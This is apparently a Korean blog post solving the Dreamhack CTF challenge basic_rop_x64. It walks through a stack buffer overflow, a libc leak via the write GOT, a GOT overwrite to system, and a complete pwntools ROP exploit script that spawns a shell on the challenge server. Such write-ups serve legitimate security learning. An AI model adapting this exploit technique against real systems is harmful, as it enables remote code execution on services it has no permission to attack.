basic_rop_x64 문제풀이
1. 취약점 확인
1. C언어
checksec 명령어로 취약점을 확인해보자
[*] '/home/gunp4ng/pwnable/Dreamhack/basic_rop_x64/basic_rop_x64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
x64 아키텍처에 Partial RELRO, NX-bit 가 적용된 것을 볼 수 있다.
Partial RELRO 가 적용되어 GOT Overwrite 가 가능하다.
C코드를 확인해보자
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
buf 의 크기는 0x40 인 것을 알 수 있다.
하지만 read 함수에서 0x400 만큼을 입력받아 BOF 가 발생하는 것을 알 수 있다.
2. 어셈블리
main 함수의 어셈블리를 살펴보자
Dump of assembler code for function main:
0x00000000004007ba <+0>: push rbp
0x00000000004007bb <+1>: mov rbp,rsp
0x00000000004007be <+4>: sub rsp,0x50
0x00000000004007c2 <+8>: mov DWORD PTR [rbp-0x44],edi
0x00000000004007c5 <+11>: mov QWORD PTR [rbp-0x50],rsi
0x00000000004007c9 <+15>: lea rdx,[rbp-0x40]
0x00000000004007cd <+19>: mov eax,0x0
0x00000000004007d2 <+24>: mov ecx,0x8
0x00000000004007d7 <+29>: mov rdi,rdx
0x00000000004007da <+32>: rep stos QWORD PTR es:[rdi],rax
0x00000000004007dd <+35>: mov eax,0x0
0x00000000004007e2 <+40>: call 0x40075e <initialize>
0x00000000004007e7 <+45>: lea rax,[rbp-0x40]
0x00000000004007eb <+49>: mov edx,0x400
0x00000000004007f0 <+54>: mov rsi,rax
0x00000000004007f3 <+57>: mov edi,0x0
0x00000000004007f8 <+62>: call 0x4005f0 <read@plt>
0x00000000004007fd <+67>: lea rax,[rbp-0x40]
0x0000000000400801 <+71>: mov edx,0x40
0x0000000000400806 <+76>: mov rsi,rax
0x0000000000400809 <+79>: mov edi,0x1
0x000000000040080e <+84>: call 0x4005d0 <write@plt>
0x0000000000400813 <+89>: mov eax,0x0
0x0000000000400818 <+94>: leave
0x0000000000400819 <+95>: ret
End of assembler dump.
buf 는 rbp - 0x40 이다.
- buf : 0x40
2. 익스플로잇 구성
1. 익스플로잇 구성
- write 함수로 read GOT 를 출력한다.
- 출력한 read GOT 를 이용하여 read GOT - read offset 을 하여 라이브러리 주소를 구한다.
- 라이브러리 주소 + system offset 을 하여 system 함수의 주소를 구한다.
- read 함수로 read GOT 영역에 system 함수의 주소를 덮어씌운다. (GOT Overwrite)
- read GOT + 0x8 영역에 "/bin/sh" 을 입력하기 위해 system 함수의 주소 뒤에 "/bin/sh" 을 추가해 입력한다.
- read GOT + 0x8 영역에 있는 "/bin/sh" 을 인자로 read 함수를 호출한다.
2. 스택 구조
먼저 스택 구조를 살펴보자
buf 의 크기는 0x40 이다.
따라서 buf + SFP 의 크기인 0x48 만큼 입력하면 RET 전까지 덮어씌울 수 있다.
3. 가젯 주소 구하기
read 함수는 인자 3개를 필요로 한다.
따라서 rdi, rsi, rdx 의 순서로 인자를 전달받는다.
pop rdi 가젯의 주소는 0x400883 이다.
pop rsi 가젯의 주소는 0x400881 이다.
rdx 레지스터는 함수 실행 후에 초기화 되지 않고 남아있는 경우가 많다.
따라서 pop rdx; ret; 가젯이 없어도 ROP 를 할 수 있다.
ret 가젯의 주소는 0x4005a9 이다.
x64 환경에서는 함수를 실행할 때 스택이 16byte 로 정렬돼 있어야 한다.
따라서 스택 정렬을 위해 ret 가젯을 추가한다.
3. 익스플로잇
1. payload
import os
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
p = remote('host3.dreamhack.games', 9001)
# env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
# p = process("./basic_rop_x64")
e = ELF('./basic_rop_x64')
libc = ELF('./libc.so.6')
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
# gadget
pop_rdi = 0x400883
pop_rsi_r15 = 0x400881
ret = 0x4005a9
# payload
payload = b'A' * 0x48 # buf + SFP
# write(1, read GOT, ...)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(read_got)
payload += p64(0)
payload += p64(write_plt)
# read(0, read GOT, ...)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(read_got)
payload += p64(0)
payload += p64(read_plt)
# read("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
# pause()
p.send(payload)
# read address
p.recvuntil(b'A' * 0x40)
read_addr = u64(p.recvn(8))
libc_base = read_addr - libc.symbols['read']
log.info(f'read : {hex(read_addr)}')
log.info(f'libc_base : {hex(libc_base)}')
# system
system = libc_base + libc.symbols['system']
log.info(f'system : {hex(system)}')
p.send(p64(system) + b'/bin/sh\x00')
p.interactive()
위의 정보들을 이용해 payload 를 구성했다.
payload 를 실행하면 플래그를 획득할 수 있다.
'War Game > Pwnable' 카테고리의 다른 글
[Plaid CTF] ropasaurusrex (0) | 2024.09.25 |
---|---|
[Dreamhack] basic_rop_x86 (0) | 2024.09.15 |
[Dreamhack] rop (0) | 2024.09.06 |
[Security First] Maze 문제 풀이 (0) | 2024.08.01 |
[Security First] maze_x86 문제풀이 (0) | 2024.07.29 |